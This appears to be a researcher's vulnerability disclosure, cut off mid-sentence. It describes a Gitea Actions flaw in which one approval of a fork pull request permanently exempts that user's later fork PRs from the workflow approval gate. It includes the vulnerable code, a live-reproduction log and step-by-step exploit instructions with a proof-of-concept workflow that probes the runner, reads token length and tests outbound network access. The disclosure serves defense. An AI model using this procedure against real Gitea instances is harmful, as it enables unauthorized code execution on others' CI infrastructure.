Gitea: Permanent Fork PR Workflow Approval Gate Bypass

Field	Value
Identifier (researcher-assigned)	GITEA-2026-004
Product	Gitea (self-hosted Git service)
Component	Gitea Actions — fork pull request approval gate
Affected versions	All Gitea releases v1.20.0 and later, including the latest main (1.27.0+dev-289-gb7e95cc48c). The buggy logic was introduced in commit edf98a2dc3 — "Require approval to run actions for fork pull request (#22803)", 2023-02-24 — and has shipped unchanged since.
Fixed in	not yet (this disclosure)
Authentication required	Yes — one unprivileged Gitea account capable of forking the target repository (the default ability for every authenticated user)
User interaction required	Exactly once — a repository administrator must approve a single benign fork PR's workflow run from the attacker. After that, no further interaction is ever required for any future fork PR from the same attacker on the same repository.
Discovered by	Prakhar Porwal — [email protected]
Live-verified on	Gitea main at commit b7e95cc48cc0e0d6fe24c89bb83da5b84a74490f, 2026-05-24

---

1. Executive summary

Gitea Actions enforces an approval gate on workflow runs triggered by fork pull requests, so that an untrusted contributor cannot execute arbitrary workflow YAML on the maintainer's runner infrastructure without explicit consent. The gate is implemented by ifNeedApproval() in services/actions/notifier_helper.go. Its final clause skips the gate whenever the triggering user has any previously-approved run in the same repository:

// services/actions/notifier_helper.go:423-433
if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{
    RepoID:        repo.ID,
    TriggerUserID: user.ID,
    Approved:      true,
}); err != nil {
    return false, fmt.Errorf("CountRuns: %w", err)
} else if count > 0 {
    log.Trace("do not need approval because user %d has been approved before", user.ID)
    return false, nil
}

The check is scoped to (repo_id, trigger_user_id) only. It does not consider the pull request, the head commit, the workflow file contents, or any time window. The single approval click on a contributor's first fork PR is therefore interpreted by Gitea as "this user is permanently trusted to execute any workflow YAML on this repository's CI infrastructure forever" — for every future PR, on any branch, against any commit, regardless of what the workflow does.

This is a structural deviation from the documented intent — the in-source comment on the bypassing path reads "if it's the first time user … triggered actions", implying a per-action-trigger check that the code does not actually perform. It is also a deviation from the equivalent behavior on the platform Gitea Actions is modeled after (GitHub Actions), where the first-contributor gate persists until a PR is merged, not merely approved-to-run.

I have live-reproduced the bypass end-to-end against a current main build. With zero further interaction from the maintainer after the one-time approval, an attacker's second PR's workflow:

• Was created with need_approval = 0 and approved_by = 0 in the action_run table (i.e. nobody ever approved it, and yet it was not gated).
• Was dispatched to the runner immediately.
• Executed arbitrary shell on the runner, with outbound network access, a populated GITHUB_TOKEN, and access to the cloned source.

Full receipts are in §3.

---

2. Affected code

Primary

services/actions/notifier_helper.go:401-438 — the ifNeedApproval function:

func ifNeedApproval(ctx context.Context, run *actions_model.ActionRun,
                    repo *repo_model.Repository, user *user_model.User) (bool, error) {
    // 1. don't need approval if it's not a fork PR
    // 2. don't need approval if the event is `pull_request_target` since the
    //    workflow will run in the context of base branch
    if !run.IsForkPullRequest ||
       run.TriggerEvent == actions_module.GithubEventPullRequestTarget {
        return false, nil
    }

    // always need approval if the user is restricted
    if user.IsRestricted {
        return true, nil
    }

    // don't need approval if the user can write
    if perm, err := access_model.GetDoerRepoPermission(ctx, repo, user); err != nil {
        return false, fmt.Errorf("GetDoerRepoPermission: %w", err)
    } else if perm.CanWrite(unit_model.TypeActions) {
        return false, nil
    }

    // ===== VULNERABLE BLOCK ==================================================
    // don't need approval if the user has been approved before
    if count, err := db.Count[actions_model.ActionRun](ctx, actions_model.FindRunOptions{
        RepoID:        repo.ID,
        TriggerUserID: user.ID,
        Approved:      true,
    }); err != nil {
        return false, fmt.Errorf("CountRuns: %w", err)
    } else if count > 0 {
        return false, nil   // <-- permanent, unscoped bypass
    }
    // =========================================================================

    return true, nil
}

Called from handleWorkflows() (services/actions/notifier_helper.go:339) for every workflow run created in response to a fork PR; the return value populates the NeedApproval column on the action_run row.

Supporting

• models/actions/run_list.go:84-86 — the FindRunOptions.Approved filter resolves to approved_by > 0:

  if opts.Approved {
      cond = cond.And(builder.Gt{"`action_run`.approved_by": 0})
  }
  

• services/actions/approve.go:25-27 — the only writer of ApprovedBy, called when a repo admin clicks Approve on a run:

  run.NeedApproval = false
  run.ApprovedBy = doer.ID
  if err := actions_model.UpdateRun(ctx, run, "need_approval", "approved_by"); err != nil {
  

• models/actions/run.go:44-45 — schema:

  NeedApproval bool                // may need approval if it's a fork pull request
  ApprovedBy   int64 `xorm:"index"` // who approved
  

There is no other writer of ApprovedBy, and no resetter for NeedApproval once a PR has been approved. The historical row is permanent and unconditional.

---

3. Live reproduction — receipts

The following was performed end-to-end against main on the date noted. Two accounts were used:

• admin (uid 1) — repository owner playing the maintainer
• admin2 (uid 3) — second account playing the attacker

A fork-mode gitea-runner v1.0.6 was registered with ubuntu-latest:host to enable on-host execution.

Phase	Action	Resulting action_run row
1	admin creates admin/base-repo with .gitea/workflows/ci.yml (echo hello baseline)	—
2	admin2 forks the repo	—
3	admin2 opens PR #1 with a one-line README edit (no workflow change)	run #5 created, need_approval = 1, status = Blocked
4	admin clicks Approve and run workflows on PR #1	run #5 updates: need_approval = 0, approved_by = 1 (admin), status → Success
5	admin2 opens PR #3 from a brand-new branch (bypass-clean) whose only change is .gitea/workflows/ci.yml rewritten to a malicious payload (loud echo + curl + id + ls -la)	run #6 created, need_approval = 0, approved_by = 0 — gate skipped at creation
—	runner dispatches run #6 within seconds, no maintainer interaction at all	run #6 → status = Success

Final action_run table contents (queried directly from SQLite)

id  triggered_by_uid  need_approval  approved_by_uid  status_text  ref               sha
--  ----------------  -------------  ---------------  -----------  ----------------  --------
5   3                 0              1                Success      refs/pull/1/head  463c9114
6   3                 0              0                Success      refs/pull/3/head  70db2b9e

Row 6 is the smoking gun: triggered_by is admin2 (the attacker), approved_by is 0 (no one ever clicked Approve), need_approval is 0 (the gate was never engaged in the first place), and the workflow ran to completion. The row is schema-indistinguishable from a legitimate trusted-user run.

Actual payload log from run #6 (verbatim from /api/v1/repos/admin/base-repo/actions/jobs/6/logs)

2026-05-23T21:38:53Z local-demo-runner(version:v1.0.6) received task 2 of job test, be triggered by event: pull_request
2026-05-23T21:38:53Z workflow prepared
2026-05-23T21:38:53Z Run Main pwn
...
2026-05-23T21:38:53Z env:
2026-05-23T21:38:53Z   BASE_TOKEN: ***
2026-05-23T21:38:53Z ===== BYPASS DEMO - this workflow ran WITHOUT approval =====
2026-05-23T21:38:53Z running as: uid=501(prakharporwal) gid=20(staff) groups=20(staff),12(everyone),...
2026-05-23T21:38:53Z hostname:   PRAKHARs-MacBook-Air.local
2026-05-23T21:38:53Z uname:      Darwin PRAKHARs-MacBook-Air.local 25.5.0 Darwin Kernel Version 25.5.0...
2026-05-23T21:38:53Z GITHUB_TOKEN length = 40
2026-05-23T21:38:53Z outbound network test:
2026-05-23T21:38:53Z   HTTP 200
2026-05-23T21:38:53Z repo contents:
2026-05-23T21:38:53Z total 0
2026-05-23T21:38:53Z drwxr-xr-x  2 prakharporwal  staff   64 24 May 03:08 .
2026-05-23T21:38:53Z drwxr-xr-x  5 prakharporwal  staff  160 24 May 03:08 ..
2026-05-23T21:38:53Z ===== END DEMO =====
2026-05-23T21:38:53Z Job succeeded

Confirmed: arbitrary shell execution on the runner, populated GITHUB_TOKEN (40 chars), live outbound HTTPS (HTTP 200 to example.com), all triggered by an unapproved second fork PR.

---

4. Root cause analysis

The logic embodies a misreading of the unit of trust.

Intended (per comment on line 436)	Actually implemented
Approval is required the first time a user triggers actions.	Approval is required the very first time a user triggers actions and never again.
The unit of trust is the work being approved (the PR, or the commit).	The unit of trust is the user's identity, scoped to the repository.

The query at line 424 does not include PullRequestID, Ref, CommitSHA, or any time predicate. The action_run row's Ref and CommitSHA fields are not consulted. Once approved_by > 0 appears on any historical row for (repo_id, trigger_user_id), the gate is monotonically skipped forever.

Concretely, the divergence is observable across these scenarios:

Scenario	Intended	Implemented
Same PR, new commit on the same branch	Re-run uses existing approval (PR-scoped)	Auto-approved (user-scoped) ✓
Same PR, force-push that replaces the workflow file	Re-approval requested	Auto-approved ✗
Brand-new PR from same user, different workflow	Approval requested	Auto-approved ✗ — the vulnerability
New PR from same user months later	Approval requested	Auto-approved ✗
Hundred PRs from same user in parallel	Only the first is the gate check; subsequent depend on policy	Only the very first ever needs approval ✗

For comparison, GitHub Actions' first-time-contributor gate persists until a PR is merged, not until a PR is approved-to-run; GitHub additionally supports per-PR re-approval as a separate setting. The Gitea code path does neither.

A secondary contributor is the coarse semantics of FindRunOptions.Approved: a single boolean (approved_by > 0) with no per-PR/per-commit predicate available. The fix therefore needs both a call-site change and a query-options extension.

---

5. Impact

Dimension	Detail
Arbitrary code execution on the runner	Attacker controls run: blocks dispatched to the project's CI compute, with whatever ambient privileges the runner has (shell, network, filesystem). Verified end-to-end above.
Source code disclosure	The runner clones the base repository read-only. A malicious workflow can exfiltrate it via any outbound channel — material confidentiality breach if the repo is private.
Actions cache poisoning	Actions cache entries are keyed and shared across branches/refs within a repo. A poisoned cache is restored into trusted (non-fork) runs that subsequently execute on the base branch — escaping the fork sandbox transitively, and at that point with full secret access.
Artifact poisoning	Workflow artifacts can be downloaded by other runs, including base-branch deploy workflows.
Runner host compromise	If the runner is long-lived (not ephemeral) or shares state across jobs (filesystem leftovers, mounted Docker socket, sudoers entry for the runner user), the attacker can plant persistence.
Network pivoting	Many self-hosted runners live inside corporate networks with reach to internal services that would otherwise be unreachable from the public internet.
Resource abuse	Cryptomining, denial-of-service of the CI infrastructure, bandwidth abuse.
No audit signal	The bypassed run row has approved_by = 0 and need_approval = false — schema-indistinguishable from a legitimate trusted-user run. There is no log line, no webhook event, no UI banner stating that the approval gate was skipped (only that it wasn't needed).
Scope	Every repository that accepts fork pull requests and has Actions enabled. Public OSS projects are most exposed because anyone can open a PR. Internal corporate repos that accept fork PRs from contractors / interns / outside collaborators are equally exposed once a single such PR has been approved historically.
Defense-in-depth bypass	The approval gate is the only line of defense between untrusted PR YAML and CI execution on regular pull_request events. Remaining mitigations — per-fork-PR scoping () and secret omission () — reduce blast radius but do not prevent code execution.

---

6. Manual reproduction (web UI only, ~10 minutes)

This procedure uses only the Gitea web interface — no curl, no git CLI, no API tokens. It is intended for the maintainer security team to verify the vulnerability on a fresh instance.

Prerequisites

1. A Gitea instance with Actions enabled ([actions] ENABLED = true in app.ini).
2. One Actions runner registered and online with the ubuntu-latest label (optional — see note at the end of this section).
3. Two user accounts:
   • maintainer — will own the target repository.
   • attacker — any unprivileged second account; registered through normal sign-up; no special privileges required.
4. Two browser sessions: a normal window for maintainer, and a private/incognito window for attacker. Do not flip between them in the same window.

Phase 1 — maintainer creates the target repository

1. Log into Gitea as maintainer.
2. Top-right + → New Repository.
3. Owner = maintainer, Name = gate-bypass-poc, Visibility = Public, ☑ Initialize Repository, Default Branch = main. Click Create Repository.
4. On the repo home, click the + icon in the file tree → New File.
5. In the path field type:

   .gitea/workflows/ci.yml
   

6. Paste the following into the editor — name: must be at column 0 with no leading whitespace:

   name: CI
   on: [pull_request]
   jobs:
     test:
       runs-on: [ubuntu-latest]
       steps:
         - name: hello
           run: echo "hello from gate-bypass-poc baseline"
   

7. Scroll down → Commit directly to main → Commit Changes.

Phase 2 — attacker forks the repository

1. Switch to the attacker window. Log in.
2. Navigate to …/maintainer/gate-bypass-poc.
3. Click Fork (top-right). Accept defaults (owner = attacker). Click Fork Repository.

Phase 3 — attacker opens a benign PR (PR #1)

1. On …/attacker/gate-bypass-poc, click README.md → pencil icon to edit.
2. Add any innocuous line (e.g. Small typo fix.).
3. Scroll down → select Create a new branch for this commit and start a pull request → branch name benign-typo. Click Propose File Change.
4. On the pre-filled "Open a new pull request" form, leave defaults and click Create Pull Request.
5. You should land on …/maintainer/gate-bypass-poc/pulls/1.

Phase 4 — maintainer approves the first run (the one-time trust event)

1. Switch to the maintainer window. Open …/maintainer/gate-bypass-poc/pulls/1.
2. Scroll to the status checks section. You will see the yellow banner:

   Workflow runs from fork pull requests need approval to run [ Approve and run workflows ]

3. Before clicking, open a second tab on …/maintainer/gate-bypass-poc/actions. The workflow run "Small typo fix" should be displayed with status Blocked. This is the gate working correctly for a first-time contributor.
4. Return to the PR tab. Click Approve and run workflows. The banner disappears; the run transitions to Waiting → Running → Success (or stays at Waiting if no runner is online — irrelevant for the bypass demonstration).

Phase 5 — attacker opens a second PR (PR #2) with a malicious workflow change

1. Switch back to the attacker window.
2. On …/attacker/gate-bypass-poc, navigate to .gitea/workflows/ci.yml via the file tree. Click the pencil icon to edit.
3. Replace the entire file with the following (name: flush left, no leading whitespace anywhere):

   name: CI
   on: [pull_request]
   jobs:
     test:
       runs-on: [ubuntu-latest]
       steps:
         - name: pwn
           env:
             BASE_TOKEN: ${{ github.token }}
           run: |
             echo "===== BYPASS DEMO - this workflow ran WITHOUT approval ====="
             echo "running as: $(id 2>/dev/null || echo n/a)"
             echo "hostname:   $(hostname 2>/dev/null || echo n/a)"
             echo "uname:      $(uname -a 2>/dev/null || echo n/a)"
             echo "GITHUB_TOKEN length = ${#BASE_TOKEN}"
             curl -fsS --max-time 5 https://example.com/ -o /dev/null -w "egress HTTP %{http_code}\n" || echo "(no network)"
             ls -la
             echo "===== END DEMO ====="
   

4. Scroll down → select Create a new branch for this commit and start a pull request → branch name bypass-payload. Click Propose File Change.
5. On the pre-filled PR form, click Create Pull Request. You should land on …/maintainer/gate-bypass-poc/pulls/2.

Phase 6 — Observe the bypass

This is the critical observation.

1. As maintainer, open …/maintainer/gate-bypass-poc/pulls/2. Scroll to the status checks section.
   • Expected if the gate worked: the same yellow "Workflow runs from fork pull requests need approval to run" banner as in Phase 4.
   • Actual: no banner. The check appears straight away as pending / running / green. No approval has been requested. maintainer was not notified.
2. As maintainer, open …/maintainer/gate-bypass-poc/actions. The new run for "Update .gitea/workflows/ci.yml" is displayed with status Waiting / Running / Success — never Blocked.
3. Click into the run → test job → pwn step. You will see the payload output (id, hostname, uname, token length, outbound HTTPS code, file listing) — the attacker's code executed end-to-end without your consent.

Note on the runner

If no runner is online and registered with the ubuntu-latest label, the bypass is still proven by step 1 of Phase 6 (no banner) and step 2 (status Waiting instead of Blocked). The runner only matters for visualising the payload's output. The status transition Blocked → Waiting for an unapproved second PR is itself the security signal — a gated run would remain Blocked indefinitely and the dispatcher would never look for a runner.

Note on the YAML formatting

If you copy the workflow YAML out of this do